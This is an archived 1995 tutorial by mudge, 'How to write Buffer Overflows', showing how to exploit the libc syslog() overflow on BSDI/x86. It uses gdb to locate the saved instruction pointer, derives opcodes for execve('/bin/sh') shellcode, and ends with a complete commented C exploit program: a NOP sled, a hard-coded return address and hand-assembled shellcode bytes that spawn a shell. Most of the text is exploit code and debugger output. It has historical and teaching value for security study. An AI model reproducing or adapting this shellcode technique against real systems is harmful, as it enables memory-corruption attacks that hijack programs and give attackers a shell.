home *** CD-ROM | disk | FTP | other *** search
/ WINMX Assorted Textfiles / Ebooks.tar / Text - Tech - Programming - How To Write Buffer Overflows (TXT).zip / How to write Buffer Overflows.txt
Text File  |  2003-09-24  |  25KB  |  1,133 lines

  1.                        How to write Buffer Overflows
  2.  
  3. This is really rough, and some of it is not needed. I wrote this as a
  4. reminder note to myself as I really didn't want to look at any more AT&T
  5. assembly again for a while and was afraid I would forget what I had done.
  6. If you are an old assembly guru then you might scoff at some of this... oh
  7. well, it works and that's a hack in itself.
  8.  
  9. -by mudge@l0pht.com 10/20/95
  10.  
  11. test out the program (duh).
  12.  
  13.  --------syslog_test_1.c------------
  14.  
  15.  #include
  16.  
  17.  char buffer[4028];
  18.  
  19.  void main() {
  20.  
  21.     int i;
  22.  
  23.     for (i=0; i<=4028; i++)
  24.  
  25.         buffer[i]='A';
  26.  
  27.     syslog(LOG_ERR, buffer);
  28.  
  29.  }
  30.  
  31.  --------end syslog_test_1.c----------
  32.  
  33. Compile the program and run it. Make sure you include the symbol table for
  34. the debugger or not... depending upon how macho you feel today.
  35.  
  36.  bash$ gcc -g buf.c -o buf
  37.  
  38.  bash$ buf
  39.  
  40.  Segmentation fault (core dumped)
  41.  
  42. The 'Segmentation fault (core dumped)' is what we wanted to see. This tells
  43. us there is definately an attempt to access some memory address that we
  44. shouldn't. If you do much in 'C' with pointers on a unix machine you have
  45. probably seen this (or Bus error) when pointing or dereferencing
  46. incorrectly.
  47.  
  48. Fire up gdb on the program (with or without the core file). Assuming you
  49. remove the core file (this way you can learn a bit about gdb), the steps
  50. would be as follows:
  51.  
  52.     bash$ gdb buf
  53.  
  54.     (gdb) run
  55.  
  56.     Starting program: /usr2/home/syslog/buf
  57.  
  58.     Program received signal 11, Segmentation fault
  59.  
  60.     0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
  61.  
  62. Ok, this is good. The 41's you see are the hex equivallent for the ascii
  63. character 'A'. We are definately going places where we shouldn't be.
  64.  
  65.     (gdb) info all-registers
  66.  
  67.     eax            0xefbfd641       -272640447
  68.  
  69.     ecx            0x00000000       0
  70.  
  71.     edx            0xefbfd67c       -272640388
  72.  
  73.     ebx            0xefbfe000       -272637952
  74.  
  75.     esp            0xefbfd238       0xefbfd238
  76.  
  77.     ebp            0xefbfde68       0xefbfde68
  78.  
  79.     esi            0xefbfd684       -272640380
  80.  
  81.     edi            0x0000cce8       52456
  82.  
  83.     eip            0x00001273       0x1273
  84.  
  85.     ps             0x00010212       66066
  86.  
  87.     cs             0x0000001f       31
  88.  
  89.     ss             0x00000027       39
  90.  
  91.     ds             0x00000027       39
  92.  
  93.     es             0x00000027       39
  94.  
  95.     fs             0x00000027       39
  96.  
  97.     gs             0x00000027       39
  98.  
  99. The gdb command 'info all-registers' shows the values in the current
  100. hardware registers. The one we are really interested in is 'eip'. On some
  101. platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer
  102. [also called Program Counter]. It points to the memory location of the next
  103. instruction the processor will execute. By overwriting this you can point
  104. to the beginning of your own code and the processor will merrily start
  105. executing it assuming you have it written as native opcodes and operands.
  106.  
  107. In the above we haven't gotten exactly where we need to be yet. If you want
  108. to see where it crashed out do the following:
  109.  
  110.  (gdb) disassemble 0x1273
  111.  
  112.     [stuff deleted]
  113.  
  114.     0x1267 :   incl   0xfffff3dc(%ebp)
  115.  
  116.     0x126d :   testb  %al,%al
  117.  
  118.     0x126f :   jne    0x125c
  119.  
  120.     0x1271 :   jmp    0x1276
  121.  
  122.     0x1273 :   movb   %al,(%ebx)
  123.  
  124.     0x1275 :   incl   %ebx
  125.  
  126.     0x1276 :   incl   %edi
  127.  
  128.     0x1277 :   movb   (%edi),%al
  129.  
  130.     0x1279 :   testb  %al,%al
  131.  
  132. If you are familiar with microsoft assembler this will be a bit backwards
  133. to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
  134. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction
  135. eye-goggles and on we go.
  136.  
  137. Note also that Intel assembler
  138.  
  139. let's go back and tweak the original source code some eh?
  140.  
  141.  -------------syslog_test_2.c-------------
  142.  
  143.  #include
  144.  
  145.  char buffer[4028];
  146.  
  147.  void main() {
  148.  
  149.     int i;
  150.  
  151.     for (i=0; i<2024; i++)
  152.  
  153.         buffer[i]='A';
  154.  
  155.     syslog(LOG_ERR, buffer);
  156.  
  157.  }
  158.  
  159.  -----------end syslog_test_2.c-------------
  160.  
  161. We're just shortening the length of 'A''s.
  162.  
  163.     bash$ gcc -g buf.c -o buf
  164.  
  165.     bash$ gdb buf
  166.  
  167.     (gdb) run
  168.  
  169.     Starting program: /usr2/home/syslog/buf
  170.  
  171.     Program received signal 5, Trace/BPT trap
  172.  
  173.     0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
  174.  
  175.          allocate memory.
  176.  
  177. This is the magic response we've been looking for.
  178.  
  179.     (gdb) info all-registers
  180.  
  181.     eax            0xffffffff       -1
  182.  
  183.     ecx            0x00000000       0
  184.  
  185.     edx            0x00000008       8
  186.  
  187.     ebx            0xefbfdeb4       -272638284
  188.  
  189.     esp            0xefbfde70       0xefbfde70
  190.  
  191.     ebp            0x41414141       0x41414141   <- here it is!!!
  192.  
  193.     esi            0xefbfdec0       -272638272
  194.  
  195.     edi            0xefbfdeb8       -272638280
  196.  
  197.     eip            0x00001001       0x1001
  198.  
  199.     ps             0x00000246       582
  200.  
  201.     cs             0x0000001f       31
  202.  
  203.     ss             0x00000027       39
  204.  
  205.     ds             0x00000027       39
  206.  
  207.     es             0x00000027       39
  208.  
  209.     fs             0x00000027       39
  210.  
  211.     gs             0x00000027       39
  212.  
  213. Now we move it along until we figure out where eip lives in the overflow
  214. (which is right after ebp in this arch architecture). With that known fact
  215. we only have to add 4 more bytes to our buffer of 'A''s and we will
  216. overwrite eip completely.
  217.  
  218.  ---------syslog_test_3.c----------------
  219.  
  220.  #include
  221.  
  222.  char buffer[4028];
  223.  
  224.  void main() {
  225.  
  226.     int i;
  227.  
  228.     for (i=0; i<2028; i++)
  229.  
  230.         buffer[i]='A';
  231.  
  232.     syslog(LOG_ERR, buffer);
  233.  
  234.  }
  235.  
  236.  -------end syslog_test_3.c------------
  237.  
  238.     bash$ !gc
  239.  
  240.     gcc -g buf.c -o buf
  241.  
  242.     bash$ gdb buf
  243.  
  244.     (gdb) run
  245.  
  246.     Starting program: /usr2/home/syslog/buf
  247.  
  248.     Program received signal 11, Segmentation fault
  249.  
  250.     0x41414141 in errno (Error accessing memory address
  251.  
  252.                      0x41414149: Cannot allocate memory.
  253.  
  254.     (gdb) info all-registers
  255.  
  256.     eax            0xffffffff       -1
  257.  
  258.     ecx            0x00000000       0
  259.  
  260.     edx            0x00000008       8
  261.  
  262.     ebx            0xefbfdeb4       -272638284
  263.  
  264.     esp            0xefbfde70       0xefbfde70
  265.  
  266.     ebp            0x41414141       0x41414141
  267.  
  268.     esi            0xefbfdec0       -272638272
  269.  
  270.     edi            0xefbfdeb8       -272638280
  271.  
  272.     eip            0x41414141       0x41414141
  273.  
  274.     ps             0x00010246       66118
  275.  
  276.     cs             0x0000001f       31
  277.  
  278.     ss             0x00000027       39
  279.  
  280.     ds             0x00000027       39
  281.  
  282.     es             0x00000027       39
  283.  
  284.     fs             0x00000027       39
  285.  
  286.     gs             0x00000027       39
  287.  
  288. BINGO!!!
  289.  
  290. Here's where it starts to get interesting. Now that we know eip starts at
  291. buffer[2024] and goes through buffer[2027] we can load it up with whatever
  292. we need. The question is... what do we need?
  293.  
  294. We find this by looking at the contents of buffer[].
  295.  
  296.     (gdb) disassemble buffer
  297.  
  298.     [stuff deleted]
  299.  
  300.     0xc738 :   incl   %ecx
  301.  
  302.     0xc739 :   incl   %ecx
  303.  
  304.     0xc73a :   incl   %ecx
  305.  
  306.     0xc73b :   incl   %ecx
  307.  
  308.     0xc73c :   addb   %al,(%eax)
  309.  
  310.     0xc73e :   addb   %al,(%eax)
  311.  
  312.     0xc740 :   addb   %al,(%eax)
  313.  
  314.     [stuff deleted]
  315.  
  316. On the Intel x86 architecture [a pentium here but that doesn't matter] incl
  317. %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex.
  318. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c
  319. where we will start our code. You have two options here, one is to load the
  320. buffer up with the opcodes and operands and point the eip back into the
  321. buffer; the other option is what we are going to be doing which is to put
  322. the opcodes and operands after the eip and point to them.
  323.  
  324. The advantage to putting the code inside the buffer is that other than the
  325. ebp and eip registers you don't clobber anything else. The disadvantage is
  326. that you will need to do trickier coding (and actually write the assembly
  327. yourself) so that there are no bytes that contain 0x0 which will look like
  328. a null in the string. This will require you to know enough about the native
  329. chip architecture and opcodes to do this [easy enough for some people on
  330. Intel x86's but what happens when you run into an Alpha? -- lucky for us
  331. there is a gdb for Alpha I think ;-)].
  332.  
  333. The advantage to putting the code after the eip is that you don't have to
  334. worry about bytes containing 0x0 in them. This way you can write whatever
  335. program you want to execute in 'C' and have gdb generate most of the
  336. machine code for you. The disadvantage is that you are overwriting the
  337. great unknown. In most cases the section you start to overwrite here
  338. contains your environment variables and other whatnots.... upon succesfully
  339. running your created code you might be dropped back into a big void. Deal
  340. with it.
  341.  
  342. The safest instruction is NOP which is a benign no-operation. This is what
  343. you will probably be loading the buffer up with as filler.
  344.  
  345. Ahhh but what if you don't know what the opcodes are for the particular
  346. architecture you are on. No problem. gcc has a wonderfull function called
  347. __asm__(char *); I rely upon this heavily for doing buffer overflows on
  348. architectures that I don't have assembler books for.
  349.  
  350.  ------nop.c--------
  351.  
  352.  void main(){
  353.  
  354.  __asm__("nop\n");
  355.  
  356.  }
  357.  
  358.  ----end nop.c------
  359.  
  360.     bash$ gcc -g nop.c -o nop
  361.  
  362.     bash$ gdb nop
  363.  
  364.     (gdb) disassemble main
  365.  
  366.     Dump of assembler code for function main:
  367.  
  368.     to 0x1088:
  369.  
  370.     0x1080 :  pushl  %ebp
  371.  
  372.     0x1081 :        movl   %esp,%ebp
  373.  
  374.     0x1083 :        nop
  375.  
  376.     0x1084 :        leave
  377.  
  378.     0x1085 :        ret
  379.  
  380.     0x1086 :        addb   %al,(%eax)
  381.  
  382.     End of assembler dump.
  383.  
  384.     (gdb) x/bx 0x1083
  385.  
  386.     0x1083 :  0x90
  387.  
  388. Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
  389. nop only takes up one byte. Examining that byte shows us that it is 0x90
  390. (hex).
  391.  
  392. Our program now looks like this:
  393.  
  394.  ------ syslog_test_4.c---------
  395.  
  396.  #include
  397.  
  398.  char buffer[4028];
  399.  
  400.  void main() {
  401.  
  402.     int i;
  403.  
  404.     for (i=0; i<2024; i++)
  405.  
  406.         buffer[i]=0x90;
  407.  
  408.     i=2024;
  409.  
  410.     buffer[i++]=0x3c;
  411.  
  412.     buffer[i++]=0xc7;
  413.  
  414.     buffer[i++]=0x00;
  415.  
  416.     buffer[i++]=0x00;
  417.  
  418.     syslog(LOG_ERR, buffer);
  419.  
  420.  }
  421.  
  422.  ------end syslog_test_4.c-------
  423.  
  424. Notice you need to load the eip backwards ie 0000c73c is loaded into the
  425. buffer as 3c c7 00 00.
  426.  
  427. Now the question we have is what is the code we insert from here on?
  428.  
  429. Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why
  430. someone would want to do something like this, but I hear there are a lot of
  431. nasty people out there. Oh well. Here's the proggie we want to execute in C
  432. code:
  433.  
  434.  ------execute.c--------
  435.  
  436.  #include
  437.  
  438.  main()
  439.  
  440.  {
  441.  
  442.     char *name[2];
  443.  
  444.     name[0] = "sh";
  445.  
  446.     name[1] = NULL;
  447.  
  448.     execve("/bin/sh",name,NULL);
  449.  
  450.  }
  451.  
  452.  ----end execute.c-------
  453.  
  454.     bash$ gcc -g execute.c -o execute
  455.  
  456.     bash$ execute
  457.  
  458.     $
  459.  
  460.  
  461.  
  462. Ok, the program works. Then again, if you couldn't whip up that little prog
  463. you should probably throw in the towel here. Maybe become a webmaster or
  464. something that requires little to no programming (or brainwave activity
  465. period). Here's the gdb scoop:
  466.  
  467.     bash$ gdb execute
  468.  
  469.     (gdb) disassemble main
  470.  
  471.     Dump of assembler code for function main:
  472.  
  473.     to 0x10b8:
  474.  
  475.     0x1088 :  pushl  %ebp
  476.  
  477.     0x1089 :        movl   %esp,%ebp
  478.  
  479.     0x108b :        subl   $0x8,%esp
  480.  
  481.     0x108e :        movl   $0x1080,0xfffffff8(%ebp)
  482.  
  483.     0x1095 :       movl   $0x0,0xfffffffc(%ebp)
  484.  
  485.     0x109c :       pushl  $0x0
  486.  
  487.     0x109e :       leal   0xfffffff8(%ebp),%eax
  488.  
  489.     0x10a1 :       pushl  %eax
  490.  
  491.     0x10a2 :       pushl  $0x1083
  492.  
  493.     0x10a7 :       call   0x10b8
  494.  
  495.     0x10ac :       leave
  496.  
  497.     0x10ad :       ret
  498.  
  499.     0x10ae :       addb   %al,(%eax)
  500.  
  501.     0x10b0 :       jmp    0x1140
  502.  
  503.     0x10b5 :       addb   %al,(%eax)
  504.  
  505.     0x10b7 :       addb   %cl,0x3b05(%ebp)
  506.  
  507.     End of assembler dump.
  508.  
  509.     (gdb) disassemble execve
  510.  
  511.     Dump of assembler code for function execve:
  512.  
  513.     to 0x10c8:
  514.  
  515.     0x10b8 :        leal   0x3b,%eax
  516.  
  517.     0x10be :      lcall  0x7,0x0
  518.  
  519.     0x10c5 :     jb     0x10b0
  520.  
  521.     0x10c7 :     ret
  522.  
  523.     End of assembler dump.
  524.  
  525. This is the assembly behind what our execute program does to run /bin/sh.
  526. We use execve() as it is a system call and this is what we are going to
  527. have our program execute (ie let the kernel service run it as opposed to
  528. having to write it from scratch).
  529.  
  530. 0x1083 contains the /bin/sh string and is the last thing pushed onto the
  531. stack before the call to execve.
  532.  
  533.     (gdb) x/10bc 0x1083
  534.  
  535.     0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'
  536.  
  537.                         104 'h'  0 '\000'
  538.  
  539. (0x1080 contains the arguments...which I haven't been able to really clean
  540. up).
  541.  
  542. We will replace this address with the one where our string lives [when we
  543. decide where that will be].
  544.  
  545. Here's the skeleton we will use from the execve disassembly:
  546.  
  547.  [main]
  548.  
  549.     0x108d :        movl   %esp,%ebp
  550.  
  551.     0x108e :        movl   $0x1083,0xfffffff8(%ebp)
  552.  
  553.     0x1095 :       movl   $0x0,0xfffffffc(%ebp)
  554.  
  555.     0x109c :       pushl  $0x0
  556.  
  557.     0x109e :       leal   0xfffffff8(%ebp),%eax
  558.  
  559.     0x10a1 :       pushl  %eax
  560.  
  561.     0x10a2 :       pushl  $0x1080
  562.  
  563.  [execve]
  564.  
  565.     0x10b8 :        leal   0x3b,%eax
  566.  
  567.     0x10be :      lcall  0x7,0x0
  568.  
  569. All you need to do from here is to build up a bit of an environment for the
  570. program. Some of this stuff isn't necesary but I have it in still as I
  571. haven't fine tuned this yet.
  572.  
  573. I clean up eax. I don't remember why I do this and it shouldn't really be
  574. necesarry. Hell, better quit hitting the sauce. I'll figure out if it is
  575. after I tune this up a bit.
  576.  
  577.     xorl   %eax,%eax
  578.  
  579. We will encapsulate the actuall program with a jmp to somewhere and a call
  580. right back to the instruction after the jmp. This pushes ecx and esi onto
  581. the stack.
  582.  
  583.     jmp    0x????  # this will jump to the call...
  584.  
  585.     popl   %esi
  586.  
  587.     popl   %ecx
  588.  
  589. The call back will be something like:
  590.  
  591.     call   0x????  # this will point to the instruction after the jmp (ie
  592.  
  593.                    # popl %esi)
  594.  
  595.  All put together it looks like this now:
  596.  
  597.  ----------------------------------------------------------------------
  598.  
  599.     movl   %esp,%ebp
  600.  
  601.     xorl   %eax,%eax
  602.  
  603.     jmp    0x????  # we don't know where yet...
  604.  
  605.  # -------------[main]
  606.  
  607.     movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
  608.  
  609.                                      # be yet.
  610.  
  611.     movl   $0x0,0xfffffffc(%ebp)
  612.  
  613.     pushl  $0x0
  614.  
  615.     leal   0xfffffff8(%ebp),%eax
  616.  
  617.     pushl  %eax
  618.  
  619.     pushl  $0x????                   # we don't know what the address will
  620.  
  621.                                      # be yet.
  622.  
  623.  # ------------[execve]
  624.  
  625.     leal   0x3b,%eax
  626.  
  627.     lcall  0x7,0x0
  628.  
  629.     call   0x????  # we don't know where yet...
  630.  
  631.  ----------------------------------------------------------------------
  632.  
  633. There are only a couple of more things that we need to add before we fill
  634. in the addresses to a couple of the instructions.
  635.  
  636. Since we aren't actually calling execve with a 'call' anymore here, we need
  637. to push the value in ecx onto the stack to simulate it.
  638.  
  639.  # ------------[execve]
  640.  
  641.     pushl  %ecx
  642.  
  643.     leal   0x3b,%eax
  644.  
  645.     lcall  0x7,0x0
  646.  
  647. The only other thing is to not pass in the arguments to /bin/sh. We do this
  648. by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal
  649. 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
  650.  
  651. So the whole thing looks like this (without knowing the addresses for the
  652. '/bin/sh\0' string):
  653.  
  654.     movl   %esp,%ebp
  655.  
  656.     xorl   %eax,%eax # we added this
  657.  
  658.     jmp    0x????    # we added this
  659.  
  660.     popl   %esi      # we added this
  661.  
  662.     popl   %ecx      # we added this
  663.  
  664.     movl   $0x????,0xfffffff5(%ebp)
  665.  
  666.     movl   $0x0,0xfffffffc(%ebp)
  667.  
  668.     pushl  $0x0
  669.  
  670.     leal   0xfffffffc(%ebp),%eax  # we changed this
  671.  
  672.     pushl  %eax
  673.  
  674.     pushl  $0x????
  675.  
  676.     leal   0x3b,%eax
  677.  
  678.     pushl  %ecx       # we added this
  679.  
  680.     lcall  0x7,0x0
  681.  
  682.     call   0x????     # we added this
  683.  
  684. To figure out the bytes to load up our buffer with for the parts that were
  685. already there run gdb on the execute program.
  686.  
  687.     bash$ gdb execute
  688.  
  689.     (gdb) disassemble main
  690.  
  691.     Dump of assembler code for function main:
  692.  
  693.     to 0x10bc:
  694.  
  695.     0x108c :  pushl  %ebp
  696.  
  697.     0x108d :        movl   %esp,%ebp
  698.  
  699.     0x108f :        subl   $0x8,%esp
  700.  
  701.     0x1092 :        movl   $0x1080,0xfffffff8(%ebp)
  702.  
  703.     0x1099 :       movl   $0x0,0xfffffffc(%ebp)
  704.  
  705.     0x10a0 :       pushl  $0x0
  706.  
  707.     0x10a2 :       leal   0xfffffff8(%ebp),%eax
  708.  
  709.     0x10a5 :       pushl  %eax
  710.  
  711.     0x10a6 :       pushl  $0x1083
  712.  
  713.     0x10ab :       call   0x10bc
  714.  
  715.     0x10b0 :       leave
  716.  
  717.     0x10b1 :       ret
  718.  
  719.     0x10b2 :       addb   %al,(%eax)
  720.  
  721.     0x10b4 :       jmp    0x1144
  722.  
  723.     0x10b9 :       addb   %al,(%eax)
  724.  
  725.     0x10bb :       addb   %cl,0x3b05(%ebp)
  726.  
  727.     End of assembler dump.
  728.  
  729.  [get out your scratch paper for this one... ]
  730.  
  731.     0x108d :        movl   %esp,%ebp
  732.  
  733.     this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
  734.  
  735.     thus we can see the machine code with gdb like this.
  736.  
  737.     (gdb) x/2bx 0x108d
  738.  
  739.     0x108d :  0x89  0xe5
  740.  
  741. Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
  742. of the instructions that we are pulling out of the execute program. You can
  743. figure out the basic structure for the call command by looking at the one
  744. inexecute that calls execve. Of course you will eventually need to put in
  745. the proper address.
  746.  
  747. When I work this out I break down the whole program so I can see what's
  748. going on. Something like the following
  749.  
  750.     0x108c :  pushl  %ebp
  751.  
  752.     0x108d :        movl   %esp,%ebp
  753.  
  754.     0x108f :        subl   $0x8,%esp
  755.  
  756.     (gdb) x/bx 0x108c
  757.  
  758.     0x108c :  0x55
  759.  
  760.     (gdb) x/bx 0x108d
  761.  
  762.     0x108d :  0x89
  763.  
  764.     (gdb) x/bx 0x108e
  765.  
  766.     0x108e :  0xe5
  767.  
  768.     (gdb) x/bx 0x108e
  769.  
  770.     0x108f :  0x83
  771.  
  772.     so we see the following from this:
  773.  
  774.     0x55         pushl %ebp
  775.  
  776.     0x89         movl %esp,%ebp
  777.  
  778.     0xe5
  779.  
  780.     0x83         subl $0x8,%esp
  781.  
  782.     etc. etc. etc.
  783.  
  784. For commands that you don't know the opcodes to you can find them out for
  785. the particular chip you are on by writing little scratch programs.
  786.  
  787.  ----pop.c-------
  788.  
  789.  void main() {
  790.  
  791.  __asm__("popl %esi\n");
  792.  
  793.  }
  794.  
  795.  ---end pop.c----
  796.  
  797.     bash$ gcc -g pop.c -o pop
  798.  
  799.     bash$ gdb pop
  800.  
  801.     (gdb) disassemble main
  802.  
  803.     Dump of assembler code for function main:
  804.  
  805.     to 0x1088:
  806.  
  807.     0x1080 :  pushl  %ebp
  808.  
  809.     0x1081 :        movl   %esp,%ebp
  810.  
  811.     0x1083 :        popl   %esi
  812.  
  813.     0x1084 :        leave
  814.  
  815.     0x1085 :        ret
  816.  
  817.     0x1086 :        addb   %al,(%eax)
  818.  
  819.     End of assembler dump.
  820.  
  821.     (gdb) x/bx 0x1083
  822.  
  823.     0x1083 :  0x5e
  824.  
  825. So, 0x5e is popl %esi. You get the idea. After you have gotten this far
  826. build the string up (put in bogus addresses for the ones you don't know in
  827. the jmp's and call's... just so long as we have the right amount of space
  828. being taken up by the jmp and call instructions... likewise for the movl's
  829. where we will need to know the memory location of 'sh\0\0/bin/sh\0'.
  830.  
  831. After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.
  832.  
  833. Compile the program and load it into gdb. Before you run it in gdb set a
  834. break point for the syslog call.
  835.  
  836.     (gdb) break syslog
  837.  
  838.     Breakpoint 1 at 0x1463
  839.  
  840.     (gdb) run
  841.  
  842.     Starting program: /usr2/home/syslog/buf
  843.  
  844.     Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
  845.  
  846.                          0xefbfdeac)
  847.  
  848.     (gdb) disassemble 0xc73c 0xc77f
  849.  
  850.          (we know it will start at 0xc73c since thats right after the
  851.  
  852.           eip overflow... 0xc77f is just an educated guess as to where
  853.  
  854.           it will end)
  855.  
  856.     (gdb) disassemble 0xc73c 0xc77f
  857.  
  858.     Dump of assembler code from 0xc73c to 0xc77f:
  859.  
  860.     0xc73c :   movl   %esp,%ebp
  861.  
  862.     0xc73e :   xorl   %eax,%eax
  863.  
  864.     0xc740 :   jmp    0xc76b
  865.  
  866.     0xc742 :   popl   %esi
  867.  
  868.     0xc743 :   popl   %ecx
  869.  
  870.     0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
  871.  
  872.     0xc74b :   movl   $0x0,0xfffffffc(%ebp)
  873.  
  874.     0xc752 :   pushl  $0x0
  875.  
  876.     0xc754 :   leal   0xfffffffc(%ebp),%eax
  877.  
  878.     0xc757 :   pushl  %eax
  879.  
  880.     0xc758 :   pushl  $0xc773
  881.  
  882.     0xc75d :   leal   0x3b,%eax
  883.  
  884.     0xc763 :   pushl  %ecx
  885.  
  886.     0xc764 :   lcall  0x7,0x0
  887.  
  888.     0xc76b :   call   0xc742
  889.  
  890.     0xc770 :   jae    0xc7da
  891.  
  892.     0xc772 :   addb   %ch,(%edi)
  893.  
  894.     0xc774 :   boundl 0x6e(%ecx),%ebp
  895.  
  896.     0xc777 :   das
  897.  
  898.     0xc778 :   jae    0xc7e2
  899.  
  900.     0xc77a :   addb   %al,(%eax)
  901.  
  902.     0xc77c :   addb   %al,(%eax)
  903.  
  904.     0xc77e :   addb   %al,(%eax)
  905.  
  906.     End of assembler dump.
  907.  
  908. Look for the last instruction in your code. In this case it was the 'call'
  909. to right after the 'jmp' near the beginning. Our data should be right after
  910. it and indeed we see that it is.
  911.  
  912.     (gdb) x/13bc 0xc770
  913.  
  914.     0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'
  915.  
  916.                            98 'b'  105 'i'  110 'n'  47 '/'
  917.  
  918.     0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
  919.  
  920. Now go back into your code and put the appropriate addresses in the movl
  921. and pushl. At this point you should also be able to put in the appropriate
  922. operands for the jmp and call. Congrats... you are done. Here's what the
  923. output will look like when you run this on a system with the non patched
  924. libc/syslog bug.
  925.  
  926.     bash$ buf
  927.  
  928.     $ exit (do whatever here... you spawned a shell!!!!!! yay!)
  929.  
  930.     bash$
  931.  
  932. Here's my original program with lot's of comments:
  933.  
  934.  /*****************************************************************/
  935.  
  936.  /* For BSDI running on Intel architecture -mudge, 10/19/95       */
  937.  
  938.  /* by following the above document you should be able to write   */
  939.  
  940.  /* buffer overflows for other OS's on other architectures now    */
  941.  
  942.  /* mudge@l0pht.com                                               */
  943.  
  944.  /*                                                               */
  945.  
  946.  /* note: I haven't cleaned this up yet... it could be much nicer */
  947.  
  948.  /*****************************************************************/
  949.  
  950.  #include
  951.  
  952.  char buffer[4028];
  953.  
  954.  void main () {
  955.  
  956.     int i;
  957.  
  958.    for(i=0; i<2024; i++)
  959.  
  960.      buffer[i]=0x90;
  961.  
  962.    /* should set eip to 0xc73c */
  963.  
  964.      buffer[2024]=0x3c;
  965.  
  966.      buffer[2025]=0xc7;
  967.  
  968.      buffer[2026]=0x00;
  969.  
  970.      buffer[2027]=0x00;
  971.  
  972.    i=2028;
  973.  
  974.  /* begin actuall program */
  975.  
  976.      buffer[i++]=0x89; /* movl %esp, %ebp */
  977.  
  978.      buffer[i++]=0xe5;
  979.  
  980.      buffer[i++]=0x33; /* xorl %eax,%eax */
  981.  
  982.      buffer[i++]=0xc0;
  983.  
  984.      buffer[i++]=0xeb; /* jmp ahead  */
  985.  
  986.      buffer[i++]=0x29;
  987.  
  988.      buffer[i++]=0x5e; /* popl %esi       */
  989.  
  990.      buffer[i++]=0x59; /* popl %ecx        */
  991.  
  992.      buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
  993.  
  994.      buffer[i++]=0x45;
  995.  
  996.      buffer[i++]=0xf5;
  997.  
  998.      buffer[i++]=0x70;
  999.  
  1000.      buffer[i++]=0xc7;
  1001.  
  1002.      buffer[i++]=0x00;
  1003.  
  1004.      buffer[i++]=0x00;
  1005.  
  1006.      buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
  1007.  
  1008.      buffer[i++]=0x45;
  1009.  
  1010.      buffer[i++]=0xfc;
  1011.  
  1012.      buffer[i++]=0x00;
  1013.  
  1014.      buffer[i++]=0x00;
  1015.  
  1016.      buffer[i++]=0x00;
  1017.  
  1018.      buffer[i++]=0x00;
  1019.  
  1020.      buffer[i++]=0x6a; /* pushl $0x0 */
  1021.  
  1022.      buffer[i++]=0x00;
  1023.  
  1024.  #ifdef z_out
  1025.  
  1026.      buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
  1027.  
  1028.      buffer[i++]=0x45;
  1029.  
  1030.      buffer[i++]=0xf8;
  1031.  
  1032.  #endif
  1033.  
  1034.  /* the above is what the disassembly of execute does... but we only
  1035.  
  1036.     want to push /bin/sh to be executed... it looks like this leal
  1037.  
  1038.     puts into eax the address where the arguments are going to be
  1039.  
  1040.     passed. By pointing to 0xfffffffc(%ebp) we point to a null
  1041.  
  1042.     and don't care about the args... could probably just load up
  1043.  
  1044.     the first section movl $0x0,0xfffffff8(%ebp) with a null and
  1045.  
  1046.     left this part the way it want's to be */
  1047.  
  1048.      buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
  1049.  
  1050.      buffer[i++]=0x45;
  1051.  
  1052.      buffer[i++]=0xfc;
  1053.  
  1054.      buffer[i++]=0x50; /* pushl %eax */
  1055.  
  1056.      buffer[i++]=0x68; /* pushl $0xc773 */
  1057.  
  1058.      buffer[i++]=0x73;
  1059.  
  1060.      buffer[i++]=0xc7;
  1061.  
  1062.      buffer[i++]=0x00;
  1063.  
  1064.      buffer[i++]=0x00;
  1065.  
  1066.      buffer[i++]=0x8d; /* lea 0x3b,%eax */
  1067.  
  1068.      buffer[i++]=0x05;
  1069.  
  1070.      buffer[i++]=0x3b;
  1071.  
  1072.      buffer[i++]=0x00;
  1073.  
  1074.      buffer[i++]=0x00;
  1075.  
  1076.      buffer[i++]=0x00;
  1077.  
  1078.      buffer[i++]=0x51; /* pushl %ecx */
  1079.  
  1080.      buffer[i++]=0x9a; /* lcall 0x7,0x0 */
  1081.  
  1082.      buffer[i++]=0x00;
  1083.  
  1084.      buffer[i++]=0x00;
  1085.  
  1086.      buffer[i++]=0x00;
  1087.  
  1088.      buffer[i++]=0x00;
  1089.  
  1090.      buffer[i++]=0x07;
  1091.  
  1092.      buffer[i++]=0x00;
  1093.  
  1094.      buffer[i++]=0xe8; /* call back to ??? */
  1095.  
  1096.      buffer[i++]=0xd2;
  1097.  
  1098.      buffer[i++]=0xff;
  1099.  
  1100.      buffer[i++]=0xff;
  1101.  
  1102.      buffer[i++]=0xff;
  1103.  
  1104.      buffer[i++]='s';
  1105.  
  1106.      buffer[i++]='h';
  1107.  
  1108.      buffer[i++]=0x00;
  1109.  
  1110.      buffer[i++]='/';
  1111.  
  1112.      buffer[i++]='b';
  1113.  
  1114.      buffer[i++]='i';
  1115.  
  1116.      buffer[i++]='n';
  1117.  
  1118.      buffer[i++]='/';
  1119.  
  1120.      buffer[i++]='s';
  1121.  
  1122.      buffer[i++]='h';
  1123.  
  1124.      buffer[i++]=0x00;
  1125.  
  1126.      buffer[i++]=0x00;
  1127.  
  1128.      syslog(LOG_ERR, buffer);
  1129.  
  1130.  }
  1131.  
  1132.  
  1133.